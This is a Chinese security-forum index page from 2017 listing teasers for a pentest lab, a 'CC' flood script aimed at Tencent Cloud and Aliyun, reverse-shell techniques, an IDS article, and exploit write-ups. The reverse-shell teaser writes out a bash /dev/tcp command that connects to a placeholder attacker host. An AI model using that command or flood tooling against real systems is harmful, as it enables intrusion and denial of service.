

渗透测试演练环境分享
渗透测试演练环境,里面继承了57个数据库的渗透测试环境。包括aspx,asp,php,jsp等等各种演练环境
如果有需要的可以下载
作者:Mayter_Test
- 程序源码
- 2017-8-31
- 3640
- 15
秒杀腾讯云和阿里云的CC脚本
之前 cc 一直使用 xmlrpc, 但想了很多办法都不能采集到 xmlrpc 的列表, 列表是一个小伙伴给我的, 有些年头了, 随着时间越来越久, 列表内失效的站也越来越多, 然后在 github 上搜了下发现了这个 cc ...
- 程序源码
- 2017-8-31
- 3996
- 0
各种环境下反弹 shell 的方法
0x01 bash版本:
bash -i >& /dev/tcp/attackerip/1234 0>&1
注意这个是由解析shell的bash完成,所以某些情况下不支持。我用zsh不能反弹。...
- 文章分享
- 2017-8-31
- 5167
- 0
入侵检测系统如何降低误报率?
0x00 背景
入侵检测技术一般分为异常检测和特征/签名检测,这里主要讨论的是网络入侵检测系统(NIDS)。
异常检测 (Anomaly detection):假设入侵者活动异常于正常主体的活动。常用的方法有:关联规则、...
- 文章分享
- 2017-8-31
- 1352
- 0
0x00.前言
继tomcat本地提权之后,最近又爆出了nginx deb包的本地提权漏洞,在本地测试分析之后,我...
- 网站攻防
- 2017-8-30
- 1916
- 0
0x00.前言
今年10.1爆出了这个漏洞,后来因为我们学校要举办ctf,由于...
- 网站攻防
- 2017-8-30
- 3321
- 0
0x00.前言
这个漏洞的成因其实就是php的随机数的安全性,在说这个漏洞之前我们需要了解下以下几...
- 网站攻防
- 2017-8-29
- 3533
- 0
